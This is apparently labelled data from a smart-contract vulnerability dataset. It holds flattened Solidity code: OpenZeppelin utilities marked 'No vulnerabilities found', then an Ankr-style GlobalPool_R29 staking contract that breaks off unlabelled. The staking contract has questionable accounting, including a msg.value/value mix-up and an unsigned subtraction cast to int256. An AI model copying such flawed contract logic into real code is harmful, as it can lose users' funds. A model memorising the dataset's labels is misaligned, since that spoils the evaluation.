* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | No vulnerabilities found |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol";
contract Governable is Initializable {
address public governor;
event GovernorshipTransferred(address indexed previousGovernor, address indexed newGovernor);
/**
* @dev Contract initializer.
* called once by the factory at time of deployment
*/
function initialize(address governor_) virtual public initializer {
governor = governor_;
emit GovernorshipTransferred(address(0), governor);
}
modifier governance() {
require(msg.sender == governor);
_;
}
/**
* @dev Allows the current governor to relinquish control of the contract.
* @notice Renouncing to governorship will leave the contract without an governor.
* It will not be possible to call the functions with the `governance.js`
* modifier anymore.
*/
function renounceGovernorship() public governance {
emit GovernorshipTransferred(governor, address(0));
governor = address(0);
}
/**
* @dev Allows the current governor to transfer control of the contract to a newGovernor.
* @param newGovernor The address to transfer governorship to.
*/
function transferGovernorship(address newGovernor) public governance {
_transferGovernorship(newGovernor);
}
/**
* @dev Transfers control of the contract to a newGovernor.
* @param newGovernor The address to transfer governorship to.
*/
function _transferGovernorship(address newGovernor) internal {
require(newGovernor != address(0));
emit GovernorshipTransferred(governor, newGovernor);
governor = newGovernor;
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.6.11;
import "./Governable.sol";
contract SystemParameters is Governable {
// Minimum ankr staking amount to be abel to initialize a pool
uint256 public PROVIDER_MINIMUM_STAKING;
// Minimum staking amount for pool participants
uint256 public REQUESTER_MINIMUM_POOL_STAKING; // 0.1 ETH
// Ethereum staking amount
uint256 public ETHEREUM_STAKING_AMOUNT;
uint256 public EXIT_BLOCKS;
function initialize() external initializer {
PROVIDER_MINIMUM_STAKING = 100000 ether;
REQUESTER_MINIMUM_POOL_STAKING = 500 finney;
ETHEREUM_STAKING_AMOUNT = 4 ether;
EXIT_BLOCKS = 24;
}
}
pragma solidity ^0.6.11;
abstract contract Lockable {
mapping(address => bool) private _locks;
modifier unlocked(address addr) {
require(!_locks[addr], "Reentrancy protection");
_locks[addr] = true;
_;
_locks[addr] = false;
}
uint256[50] private __gap;
}
pragma solidity 0.6.11;
import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol";
contract Pausable is OwnableUpgradeSafe {
mapping (bytes32 => bool) internal _paused;
modifier whenNotPaused(bytes32 action) {
require(!_paused[action], "This action currently paused");
_;
}
function togglePause(bytes32 action) public onlyOwner {
_paused[action] = !_paused[action];
}
function isPaused(bytes32 action) public view returns(bool) {
return _paused[action];
}
uint256[50] private __gap;
}
pragma solidity ^0.6.11;
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol";
interface IAETH is IERC20 {
function burn(uint256 amount) external;
function updateMicroPoolContract(address microPoolContract) external;
function ratio() external returns (uint256);
function mintFrozen(address account, uint256 amount) external;
function mint(address account, uint256 amount) external returns(uint256);
function mintPool() payable external;
function fundPool(uint256 poolIndex, uint256 amount) external;
}
pragma solidity ^0.6.11;
interface IConfig {
function getConfig(bytes32 config) external view returns (uint256);
function setConfig(bytes32 config, uint256 value) external;
}
pragma solidity ^0.6.11;
interface IDepositContract {
/// @notice A processed deposit event.
event DepositEvent(
bytes pubkey,
bytes withdrawal_credentials,
bytes amount,
bytes signature,
bytes index
);
/// @notice Submit a Phase 0 DepositData object.
/// @param pubkey A BLS12-381 public key.
/// @param withdrawal_credentials Commitment to a public key for withdrawals.
/// @param signature A BLS12-381 signature.
/// @param deposit_data_root The SHA-256 hash of the SSZ-encoded DepositData object.
/// Used as a protection against malformed input.
function deposit(
bytes calldata pubkey,
bytes calldata withdrawal_credentials,
bytes calldata signature,
bytes32 deposit_data_root
) external payable;
/// @notice Query the current deposit root hash.
/// @return The deposit root hash.
function get_deposit_root() external view returns (bytes32);
/// @notice Query the current deposit count.
/// @return The deposit count encoded as a little endian 64-bit number.
function get_deposit_count() external view returns (bytes memory);
}
pragma solidity ^0.6.11;
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol";
interface IFETH is IERC20 {
function mint(address account, uint256 shares, uint256 sent) external;
function updateReward(uint256 newReward) external returns(uint256);
}
pragma solidity ^0.6.11;
interface IStaking {
function compensateLoss(address provider, uint256 ethAmount) external returns (bool, uint256, uint256);
function freeze(address user, uint256 amount) external returns (bool);
function unfreeze(address user, uint256 amount) external returns (bool);
function frozenStakesOf(address staker) external view returns (uint256);
function stakesOf(address staker) external view returns (uint256);
function frozenDepositsOf(address staker) external view returns (uint256);
function depositsOf(address staker) external view returns (uint256);
function deposit() external;
function deposit(address user) external;
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.6.11;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/math/Math.sol";
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol";
import "../lib/interfaces/IDepositContract.sol";
import "../SystemParameters.sol";
import "../lib/Lockable.sol";
import "../lib/interfaces/IAETH.sol";
import "../lib/interfaces/IFETH.sol";
import "../lib/interfaces/IConfig.sol";
import "../lib/interfaces/IStaking.sol";
import "../lib/interfaces/IDepositContract.sol";
import "../lib/Pausable.sol";
contract GlobalPool_R29 is Lockable, Pausable {
using SafeMath for uint256;
using Math for uint256;
/* staker events */
event StakePending(address indexed staker, uint256 amount);
event StakeConfirmed(address indexed staker, uint256 amount);
event StakeRemoved(address indexed staker, uint256 amount);
/* pool events */
event PoolOnGoing(bytes pool);
event PoolCompleted(bytes pool);
/* provider events */
event ProviderSlashedAnkr(address indexed provider, uint256 ankrAmount, uint256 etherEquivalence);
event ProviderSlashedEth(address indexed provider, uint256 amount);
event ProviderToppedUpEth(address indexed provider, uint256 amount);
event ProviderToppedUpAnkr(address indexed provider, uint256 amount);
event ProviderExited(address indexed provider);
/* rewards (AETH) */
event RewardClaimed(address indexed staker, uint256 amount, bool isAETH);
mapping(address => uint256) private _pendingUserStakes;
mapping(address => uint256) private _userStakes;
mapping(address => uint256) private _rewards;
mapping(address => uint256) private _claims;
mapping(address => uint256) private _etherBalances;
mapping(address => uint256) private _slashings;
mapping(address => uint256) private _exits;
// Pending staker list
address[] private _pendingStakers;
// total pending amount
uint256 private _pendingAmount;
// total stakes of all users
uint256 private _totalStakes;
// total rewards for all stakers
uint256 private _totalRewards;
IAETH private _aethContract;
IStaking private _stakingContract;
SystemParameters private _systemParameters;
address _depositContract;
address[] private _pendingTemp;
modifier notExitRecently(address provider) {
require(block.number > _exits[provider].add(_configContract.getConfig("EXIT_BLOCKS")), "Recently exited");
delete _exits[msg.sender];
_;
}
modifier onlyOperator() {
require(msg.sender == owner() || msg.sender == _operator, "Operator: not allowed");
_;
}
function initialize(IAETH aethContract, SystemParameters parameters, address depositContract) public initializer {
__Ownable_init();
_depositContract = depositContract;
_aethContract = aethContract;
_systemParameters = parameters;
_paused["topUpETH"] = true;
_paused["topUpANKR"] = true;
}
function multipleDeposit(bytes[] calldata pubkey,
bytes[] calldata withdrawal_credentials,
bytes[] calldata signature,
bytes32[] calldata deposit_data_root) public onlyOperator {
uint256 pubkeyLength = pubkey.length;
require(
pubkeyLength == withdrawal_credentials.length &&
pubkeyLength == signature.length &&
pubkeyLength == deposit_data_root.length, "Multiple Deposit: Array lengths must be equal");
for(uint32 i = 0; i < pubkeyLength; i++) {
_deposit(pubkey[i], withdrawal_credentials[i], signature[i], deposit_data_root[i]);
}
}
function pushToBeacon(bytes calldata pubkey,
bytes calldata withdrawal_credentials,
bytes calldata signature,
bytes32 deposit_data_root) public onlyOperator {
_deposit(pubkey, withdrawal_credentials, signature, deposit_data_root);
}
function _deposit(bytes calldata pubkey,
bytes calldata withdrawal_credentials,
bytes calldata signature,
bytes32 deposit_data_root) private {
require(address(this).balance >= 32 ether, "pending ethers not enough");
IDepositContract(_depositContract).deposit{value : 32 ether}(pubkey, withdrawal_credentials, signature, deposit_data_root);
emit PoolOnGoing(pubkey);
}
function stake() public whenNotPaused("stake") notExitRecently(msg.sender) unlocked(msg.sender) payable {
_stake(msg.sender, msg.value, true);
}
function customStake(address[] memory addresses, uint256[] memory amounts) public payable onlyOperator {
require(addresses.length == amounts.length, "Addresses and amounts length must be equal");
uint256 totalSent = 0;
for(uint256 i = 0; i < amounts.length; i++) {
totalSent += amounts[i];
_stake(addresses[i], amounts[i], false);
}
require(msg.value == totalSent, "Total value must be same with sent");
}
function _stake(address staker, uint256 value, bool payRewards) private {
uint256 minimumStaking = _configContract.getConfig("REQUESTER_MINIMUM_POOL_STAKING");
require(value >= minimumStaking, "Value must be greater than zero");
require(value % minimumStaking == 0, "Value must be multiple of minimum staking amount");
_userStakes[staker] = _userStakes[staker].add(value);
_totalStakes = _totalStakes.add(msg.value);
uint256 _ratio = _aethContract.ratio();
if (payRewards) {
_aETHRewards[staker] = _aETHRewards[staker].add(value.mul(_ratio).div(1e18));
_fETHRewards[staker][0] = _fETHRewards[staker][0].add(value);
_fETHRewards[staker][1] = _fETHRewards[staker][1].add(value.mul(_fethMintBase).div(1 ether));
}
emit StakePending(staker, value);
emit StakeConfirmed(staker, value);
}
function topUpETH() public whenNotPaused("topUpETH") notExitRecently(msg.sender) payable {
require(_configContract.getConfig("PROVIDER_MINIMUM_ETH_STAKING") <= msg.value, "Value must be greater than minimum amount");
_etherBalances[msg.sender] = _etherBalances[msg.sender].add(msg.value);
// _etherBalances[msg.sender] = _etherBalances[msg.sender].add(msg.value);
_stake(msg.sender, msg.value, false);
emit ProviderToppedUpEth(msg.sender, msg.value);
}
function topUpANKR(uint256 amount) public whenNotPaused("topUpANKR") notExitRecently(msg.sender) {
require(_configContract.getConfig("PROVIDER_MINIMUM_ANKR_STAKING") <= amount, "Value must be greater than minimum amount");
require(_stakingContract.freeze(msg.sender, amount), "Not enough allowance or balance");
emit ProviderToppedUpAnkr(msg.sender, amount);
}
// slash provider with ethereum balance
function slash(address provider, uint256 amount) public unlocked(provider) onlyOwner {
require(amount > 0, "Amount should be greater than zero");
_slashETH(provider, amount);
}
function providerExit() public {
int256 available = availableEtherBalanceOf(msg.sender);
address staker = msg.sender;
require(available > 0, "Provider balance should be positive for exit");
_exits[staker] = block.number;
_etherBalances[staker] = 0;
_slashings[staker] = 0;
_aETHRewards[staker] = _aETHRewards[staker].add(uint256(available));
emit ProviderExited(msg.sender);
}
function claim() public whenNotPaused("claim") notExitRecently(msg.sender) {
claimAETH();
}
function claimableRewardOf(address staker) public view returns (uint256) {
// for backwards compatibility
return claimableAETHRewardOf(staker);
}
function claimableAETHRewardOf(address staker) public view returns (uint256) {
uint256 blocked = _etherBalances[staker];
uint256 reward = _rewards[staker].sub(_claims[staker]);
reward = blocked >= reward ? 0 : reward.sub(blocked);
reward = _aETHRewards[staker].add(reward);
return reward;
}
function claimableAETHFRewardOf(address staker) public view returns (uint256) {
uint256 blocked = _etherBalances[staker];
uint256 reward = _fETHRewards[staker][0];
return reward;
}
function claimAETH() whenNotPaused("claim") public {
address staker = msg.sender;
uint256 claimable = claimableAETHRewardOf(staker);
require(claimable > 0, "claimable reward zero");
_fETHRewards[staker][0] = 0;
_fETHRewards[staker][1] = 0;
_aETHRewards[staker] = 0;
uint256 oldReward = _rewards[staker].sub(_claims[staker]);
if (oldReward > 0) {
_claims[staker] = _claims[staker].add(oldReward);
}
_aethContract.mint(staker, claimable);
emit RewardClaimed(staker, claimable, true);
}
function claimFETH() whenNotPaused("claim") public {
address staker = msg.sender;
uint256 claimable = claimableAETHFRewardOf(staker);
uint256 shares = _fETHRewards[staker][1];
require(claimable > 0, "claimable reward zero");
_fETHRewards[staker][0] = 0;
_fETHRewards[staker][1] = 0;
_aETHRewards[staker] = 0;
_fethContract.mint(staker, shares, claimable);
emit RewardClaimed(staker, claimable, false);
}
function availableEtherBalanceOf(address provider) public view returns (int256) {
return int256(etherBalanceOf(provider) - slashingsOf(provider));
}
function etherBalanceOf(address provider) public view returns (uint256) {
return _etherBalances[provider];
}
function updateEther(address provider, uint256 val) public onlyOperator {
_etherBalances[provider] = val;
}
function slashingsOf(address provider) public view returns (uint256) {
return _slashings[provider];
}
/**
@dev Slash eth, returns remaining needs to be slashed
*/
function _slashETH(address provider, uint256 amount) private returns (uint256 remaining) {
uint256 available = availableEtherBalanceOf(provider) > 0 ? uint256(availableEtherBalanceOf(provider)) : 0;
uint256 toBeSlashed = amount.min(available);
if (toBeSlashed == 0) return amount;
_slashings[provider] = _slashings[provider].add(toBeSlashed);
remaining = amount.sub(toBeSlashed);
emit ProviderSlashedEth(provider, toBeSlashed);
}
function updateAETHContract(address payable tokenContract) external onlyOwner {
_aethContract = IAETH(tokenContract);
}
function updateFETHContract(address payable tokenContract) external onlyOwner {
_fethContract = IFETH(tokenContract);
}
function updateConfigContract(address configContract) external onlyOwner {
_configContract = IConfig(configContract);
}
function updateStakingContract(address stakingContract) external onlyOwner {
_stakingContract = IStaking(stakingContract);
}
function changeOperator(address operator) public onlyOwner {
_operator = operator;
}
function depositContractAddress() public view returns (address) {
return _depositContract;
}
function updateFETHRewards(uint256 _mintBase) external {
require(msg.sender == address(_fethContract), "Not allowed");
_fethMintBase = _mintBase;
}
function mintBase() external view returns(uint256) {
return _fethMintBase;
}
function poolCount() public view returns (uint256) {
return _totalStakes.div(32 ether);
}
function pendingStakesOf(address staker) public view returns (uint256) {
return _pendingUserStakes[staker];
}
function pendingEtherBalanceOf(address provider) public view returns (uint256) {
return _pendingEtherBalances[provider];
}
function unstake() public whenNotPaused("unstake") payable unlocked(msg.sender) notExitRecently(msg.sender) {
uint256 pendingStakes = pendingStakesOf(msg.sender);
require(pendingStakes > 0, "No pending stakes");
_pendingUserStakes[msg.sender] = 0;
_pendingEtherBalances[msg.sender] = 0;
require(msg.sender.send(pendingStakes), "could not send ethers");
emit StakeRemoved(msg.sender, pendingStakes);
}
uint256[50] private __gap;
uint256 private _lastPendingStakerPointer;
IConfig private _configContract;
mapping(address => uint256) private _pendingEtherBalances;
address private _operator;
mapping (address => uint256[2]) private _fETHRewards;
mapping (address => uint256) private _aETHRewards;
IFETH private _fethContract;
uint256 private _fethMintBase;
}
pragma solidity ^0.6.0;
import "../Initializable.sol";
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
import "../Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
pragma solidity ^0.6.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
